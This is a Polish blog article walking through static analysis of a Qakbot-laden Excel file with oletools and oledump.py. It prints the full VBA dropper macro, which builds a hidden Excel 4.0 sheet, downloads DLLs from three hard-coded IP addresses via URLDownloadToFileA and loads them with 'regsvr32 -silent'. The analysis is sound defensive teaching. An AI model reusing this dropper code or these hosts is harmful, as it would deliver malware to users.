O statycznej analizie plików Microsoft Office słów kilka albo i więcej cz. II
Napisał: Piotr Kaczmarzyk
30/11/2021 w Bezpieczeństwo Brak komentarzy. (artykuł nr 804, ilość słów: 4871)
W
tej części będziemy kontynuować statyczną analizę przykładowego dokumentu, ale postaramy się zajrzeć trochę głębiej i znaleźć jakie akcje ma za zadanie przeprowadzić makro zawarte w dokumencie. Wspomożemy się tutaj świetnym zestawem narzędzi autorstwa Didiera Stevensa, tutaj warto, a nawet trzeba wspomnieć o narzędziach innego autora – Philippe Lagadeca, które znacząco ułatwiają analizę dokumentów MS Office. Obydwa zestawy narzędzi często nachodzą na siebie funkcjonalnością i często są używane wymiennie (często, aby zweryfikować rezultaty). Nie będę wchodził w szczegóły, kto jest autorem dokładnie, którego (to pozostawiam jako zadanie domowe dla Czytelnika). Dodatkowo zaznaczę, że nawet zaprezentowane narzędzia to tylko specyficzny wycinek (np. analiza obiektów OLE) wszystkich zasobów opublikowanych przez tych badaczy.
Na początek zakładam to, co w poprzedniej części, że posiadamy postawioną i uruchomioną maszynę wirtualną z systemem Linux. Najlepiej REMnux, która zawiera już omawiane zestawy narzędzi. Naszą analizę zaczniemy od trzech narzędzi:
I. olemeta:
remnux@remnux:~/Downloads/Qakbot$ olemeta Claim-1025548890-09242021.xls olemeta 0.54 - http://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues =============================================================================== FILE: Claim-1025548890-09242021.xls Properties from the SummaryInformation stream: +---------------------+------------------------------+ |Property |Value | +---------------------+------------------------------+ |codepage |1251 | |author |Test | |last_saved_by |Test | |create_time |2015-06-05 18:17:20 | |last_saved_time |2021-09-24 09:05:02 | |creating_application |Microsoft Excel | |security |0 | +---------------------+------------------------------+ Properties from the DocumentSummaryInformation stream: +---------------------+------------------------------+ |Property |Value | +---------------------+------------------------------+ |codepage_doc |1251 | |scale_crop |False | |company | | |links_dirty |False | |shared_doc |False | |hlinks_changed |False | |version |1048576 | +---------------------+------------------------------+
II. oleid:
remnux@remnux:~/Downloads/Qakbot$ oleid Claim-1025548890-09242021.xls
oleid 0.60.dev1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
Filename: Claim-1025548890-09242021.xls
--------------------+--------------------+----------+--------------------------
Indicator |Value |Risk |Description
--------------------+--------------------+----------+--------------------------
File format |MS Excel 97-2003 |info |
|Workbook or Template| |
--------------------+--------------------+----------+--------------------------
Container format |OLE |info |Container type
--------------------+--------------------+----------+--------------------------
Application name |Microsoft Excel |info |Application name declared
| | |in properties
--------------------+--------------------+----------+--------------------------
Properties code page|1251: ANSI Cyrillic;|info |Code page used for
|Cyrillic (Windows) | |properties
--------------------+--------------------+----------+--------------------------
Author |Test |info |Author declared in
| | |properties
--------------------+--------------------+----------+--------------------------
Encrypted |False |none |The file is not encrypted
--------------------+--------------------+----------+--------------------------
VBA Macros |Yes, suspicious |HIGH |This file contains VBA
| | |macros. Suspicious
| | |keywords were found. Use
| | |olevba and mraptor for
| | |more info.
--------------------+--------------------+----------+--------------------------
XLM Macros |No |none |This file does not contain
| | |Excel 4/XLM macros.
--------------------+--------------------+----------+--------------------------
External |0 |none |External relationships
Relationships | | |such as remote templates,
| | |remote OLE objects, etc
--------------------+--------------------+----------+--------------------------
III. oletimes:
remnux@remnux:~/Downloads/Qakbot$ oletimes Claim-1025548890-09242021.xls oletimes 0.54 - http://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues ========================================================================== FILE: Claim-1025548890-09242021.xls +----------------------------+---------------------+---------------------+ | Stream/Storage name | Modification Time | Creation Time | +----------------------------+---------------------+---------------------+ | Root | 2021-09-24 09:05:19 | 2021-09-24 08:47:24 | | '\x01CompObj' | None | None | | '\x05DocumentSummaryInform | None | None | | ation' | | | | '\x05SummaryInformation' | None | None | | 'Workbook' | None | None | | '_VBA_PROJECT_CUR' | 2021-09-24 09:05:02 | 2021-09-24 09:05:02 | | '_VBA_PROJECT_CUR/PROJECT' | None | None | | '_VBA_PROJECT_CUR/PROJECTw | None | None | | m' | | | | '_VBA_PROJECT_CUR/UserForm | 2021-09-24 09:05:02 | 2021-09-24 09:05:02 | | 1' | | | | '_VBA_PROJECT_CUR/UserForm | None | None | | 1/\x01CompObj' | | | | '_VBA_PROJECT_CUR/UserForm | None | None | | 1/\x03VBFrame' | | | | '_VBA_PROJECT_CUR/UserForm | None | None | | 1/f' | | | | '_VBA_PROJECT_CUR/UserForm | None | None | | 1/o' | | | | '_VBA_PROJECT_CUR/VBA' | 2021-09-24 09:05:02 | 2021-09-24 09:05:02 | | '_VBA_PROJECT_CUR/VBA/Modu | None | None | | le1' | | | | '_VBA_PROJECT_CUR/VBA/Shee | None | None | | t1' | | | | '_VBA_PROJECT_CUR/VBA/This | None | None | | Workbook' | | | | '_VBA_PROJECT_CUR/VBA/User | None | None | | Form1' | | | | '_VBA_PROJECT_CUR/VBA/_VBA | None | None | | _PROJECT' | | | | '_VBA_PROJECT_CUR/VBA/__SR | None | None | | P_0' | | | | '_VBA_PROJECT_CUR/VBA/__SR | None | None | | P_1' | | | | '_VBA_PROJECT_CUR/VBA/__SR | None | None | | P_2' | | | | '_VBA_PROJECT_CUR/VBA/__SR | None | None | | P_3' | | | | '_VBA_PROJECT_CUR/VBA/dir' | None | None | +----------------------------+---------------------+---------------------+
Powyższe narzędzia prezentują podsumowanie informacji odnośnie analizowanego pliku, część z tych informacji już widzieliśmy w poprzedniej części artykułu. Podane są nam dane między innymi odnośnie typu pliku, czasu utworzenia pliku, ale również daty modyfikacji poszczególnych komponentów. Jedno z narzędzi daje również ocenę potencjalnego ryzyka związanego z wykrytą funkcjonalnością (This file contains VBA macros. Suspicious keywords were found.). Inne narzędzia, którymi możemy wyciągnąć parę ciekawych informacji to: oledir oraz olemap. Jednak w naszym przypadku nie wnoszą one nic interesującego i w ramach przejrzystości publikacji nie będziemy prezentować ich wyników. Przechodząc dalej: oledump.py jest swoistego rodzaju szwajcarskim scyzorykiem do analizy plików OLE. Posiada on bardzo dużą liczbę przełączników, które w praktyce umożliwiają wyciągnięcie tych samych informacji, co powyżej. Chociażby szybki przykład:
remnux@remnux:~/Downloads/Qakbot$ oledump.py -M Claim-1025548890-09242021.xls Properties SummaryInformation: codepage: 1251 ANSI Cyrillic; Cyrillic (Windows) author: b'Test' last_saved_by: b'Test' create_time: 2015-06-05 18:17:20 last_saved_time: 2021-09-24 09:05:02 creating_application: b'Microsoft Excel' security: 0 Properties DocumentSummaryInformation: codepage_doc: 1251 ANSI Cyrillic; Cyrillic (Windows) scale_crop: False company: b'' links_dirty: False shared_doc: False hlinks_changed: False version: 1048576
Wracając jednak do analizowanego pliku, w pierwszej kolejności wykonujemy czyste polecenie oledump.py:
remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls 1: 108 '\x01CompObj' 2: 244 '\x05DocumentSummaryInformation' 3: 208 '\x05SummaryInformation' 4: 391141 'Workbook' 5: 661 '_VBA_PROJECT_CUR/PROJECT' 6: 116 '_VBA_PROJECT_CUR/PROJECTwm' 7: 97 '_VBA_PROJECT_CUR/UserForm1/\x01CompObj' 8: 301 '_VBA_PROJECT_CUR/UserForm1/\x03VBFrame' 9: 263 '_VBA_PROJECT_CUR/UserForm1/f' 10: 272 '_VBA_PROJECT_CUR/UserForm1/o' 11: M 4112 '_VBA_PROJECT_CUR/VBA/Module1' 12: m 991 '_VBA_PROJECT_CUR/VBA/Sheet1' 13: M 2774 '_VBA_PROJECT_CUR/VBA/ThisWorkbook' 14: m 1180 '_VBA_PROJECT_CUR/VBA/UserForm1' 15: 3819 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT' 16: 2035 '_VBA_PROJECT_CUR/VBA/__SRP_0' 17: 138 '_VBA_PROJECT_CUR/VBA/__SRP_1' 18: 264 '_VBA_PROJECT_CUR/VBA/__SRP_2' 19: 256 '_VBA_PROJECT_CUR/VBA/__SRP_3' 20: 865 '_VBA_PROJECT_CUR/VBA/dir'
Widzimy tutaj przy strumieniach danych od 11 do 14 specyficzne oznaczenia. Z dokumentacji narzędzia wynika, że wydając polecenie: oledump.py -m możemy dowiedzieć się o ich znaczeniu:
Overview of indicators: M: Macro (attributes and code) m: macro (attributes without code) E: Error (code that throws an error when decompressed) !: Unusual macro (code without attributes) O: object (embedded file) .: storage R: root entry
Może przedwcześnie zdradzę, ale najciekawsze rzeczy dzieją się w strumieniu o numerze 11 i to ten strumień sobie wytniemy (zachęcam również do sprawdzenia pozostałych):
remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls -s 11 -v
Attribute VB_Name = "Module1"
Sub auto_open()
On Error Resume Next
Drezden = "="
Naret = "EXEC"
Application.ScreenUpdating = False
Gert
Sheets("Sheet5").Visible = False
Sheets("Sheet5").Range("A1:M100").Font.Color = vbWhite
Sheets("Sheet5").Range("H24") = UserForm1.Label1.Caption
Sheets("Sheet5").Range("H25") = UserForm1.Label3.Caption
Sheets("Sheet5").Range("H26") = UserForm1.Label4.Caption
Sheets("Sheet5").Range("K17") = "=NOW()"
Sheets("Sheet5").Range("K18") = ".dat"
Sheets("Sheet5").Range("K18") = ".dat"
Sheets("Sheet5").Range("H35") = "=HALT()"
Sheets("Sheet5").Range("I9") = UserForm1.Label2.Caption
Sheets("Sheet5").Range("I10") = UserForm1.Caption
Sheets("Sheet5").Range("I11") = "J" & "J" & "C" & "C" & "B" & "B"
Sheets("Sheet5").Range("I12") = "Byukilos"
Sheets("Sheet5").Range("G10") = "..\Fiosa.der"
Sheets("Sheet5").Range("G11") = "..\Fiosa1.der"
Sheets("Sheet5").Range("G12") = "..\Fiosa2.der"
Sheets("Sheet5").Range("I17") = "regsvr32 -silent ..\Fiosa.der"
Sheets("Sheet5").Range("I18") = "regsvr32 -silent ..\Fiosa1.der"
Sheets("Sheet5").Range("I19") = "regsvr32 -silent ..\Fiosa2.der"
Sheets("Sheet5").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)"
Sheets("Sheet5").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)"
Sheets("Sheet5").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)"
Sheets("Sheet5").Range("H9") = Drezden & "REGISTER(I9,I10&J10,I11,I12,,1,9)"
Sheets("Sheet5").Range("H17") = Drezden & Naret & "(I17)"
Sheets("Sheet5").Range("H18") = Drezden & Naret & "(I18)"
Sheets("Sheet5").Range("H19") = Drezden & Naret & "(I19)"
Application.Run Sheets("Sheet5").Range("H1")
End Sub
Sub auto_close()
On Error Resume Next
Application.ScreenUpdating = True
Application.DisplayAlerts = False
Sheets("Sheet5").Delete
Application.DisplayAlerts = True
End Sub
Function Gert()
Set Fera = Excel4IntlMacroSheets
Fera.Add.Name = "Sheet5"
End Function
Widzimy tu ciekawe makro z pewną dozą zaciemnienia kodu, ale po kolei. Każdej osobie choć trochę zaznajomionej z analizą dokumentów MS Office od razu powinny wpaść w oko: Sub auto_open() i Sub auto_close(), które powodują wykonanie makra w momencie otwarcia i zamknięcia dokumentu. Ale najciekawsza jest tu funkcja pod koniec, a konkretnie linia: Set Fera = Excel4IntlMacroSheets powodująca wstrzyknięcie makra xlm (w wersji Excel 4.0) do nowego arkusza. Następnie widzimy, że ten nowo utworzony arkusz otrzymuje nazwę „Sheet5”. Idąc trochę dalej w analizie (a raczej wcześniej, biorąc pod uwagę budowę marka) można się przekonać, że cały arkusz jest również później usuwany: Sheets("Sheet5").Delete. Jako, iż został stworzony nowy arkusz to trzeba nadać wartości poszczególnych komórek według schematu: Sheets("Sheet5").Range("X") = "XYZ, ale kluczowe są tu linie typu Sheets("Sheet5").Range("H24") = UserForm1.Label1.Caption – ta wartość jest zaszyta w samym dokumencie, makro ją pobiera i przetwarza. Te wartości możemy również wyświetlić za pomocą oledump.py, są one w innych strumieniach danych:
remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls -s 8 -S
VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1
Caption = "URLDownloadToFileA"
ClientHeight = 3015
ClientLeft = 120
ClientTop = 465
ClientWidth = 4560
StartUpPosition = 1 'CenterOwner
TypeInfoVer = 4
remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls -s 9 -S
Tahoma
Label1
Label2
Label3
Label4
remnux@remnux:~/Downloads/Qakbot$ oledump.py Claim-1025548890-09242021.xls -s 10 -S
http://190.14.37.173/
Tahoma
uRlMon
Tahoma
http://111.90.148.104/
Tahoma
http://51.89.115.111/
Tahoma
Element zaciemniania kodu jest tu dość prosty do rozszyfrowania i polega na „porozrzucaniu” elementów poleceń w różnych komórkach. W poniższych liniach ściągamy i zapisujemy payload z zapisanego w dokumencie URL, dla przykładu:
Sheets("Sheet5").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)"
Sheets("Sheet5").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)"
Sheets("Sheet5").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)"
Sheets("Sheet5").Range("H9") = Drezden & "REGISTER(I9,I10&J10,I11,I12,,1,9)"
# Odwołanie do: http://190.14.37.173/
Sheets("Sheet5").Range("H24") = UserForm1.Label1.Caption
Sheets("Sheet5").Range("K17") = "=NOW()"
Sheets("Sheet5").Range("K18") = ".dat"
Sheets("Sheet5").Range("G10") = "..\Fiosa.der"
W identyczny sposób należy podejść do kolejnych wierszy. Nie jest to idealna metoda, oczywiście z punktu widzenia maszyny nie ma większego znaczenia, ale daje dobre pojęcie o intencjach autora skryptu. Osoby bardziej uważne mogą zauważyć, że do ściągnięcia ładunku używana jest funkcja URLDownloadToFileA z biblioteki urlmon.dll.
# Odwołanie do: uRlMon
Sheets("Sheet5").Range("I9") = UserForm1.Label2.Caption
# Odwołanie do: URLDownloadToFileA
Sheets("Sheet5").Range("I10") = UserForm1.Caption
„DLLkę” ładujemy do systemu w linijce: Sheets("Sheet5").Range("H17") = Drezden & Naret & "(I17)", która odwołuje się do: Sheets("Sheet5").Range("I17") = "regsvr32 -silent ..\Fiosa.der". I tak doszliśmy do końca tego dokumentu. Jak mogliśmy zobaczyć tworzy nowy arkusz z makrem xlm, a następnie ściąga i ładuje do systemu „nowy” plik DLL. Ciekawostką jest tutaj to, że tak spreparowane makro xlm (w wersji Excel 4.0) nie zostało wykryte:
XLM Macros |No |none |This file does not contain
| | |Excel 4/XLM macros.
Oznacza to tyle, że w przeciwieństwie do makr w VBA, makra XLM (z Excel 4.0) były ukrytym klejnotem dla cyberprzestępców i okazały się bardzo dobrą alternatywą dla makr VBA do atakowania użytkowników. Na koniec warto wspomnieć o narzędziu olvba, które daje bardzo podobne wyniki jak oledump.py i również wycina makra, ale samo wybiera strumienie, z których należy je wyciąć. Tym samym mamy tu większy poziom automatyzacji, ale w mojej opinii jest trochę mniej uniwersalne.
Więcej informacji: oledump.py, oletools

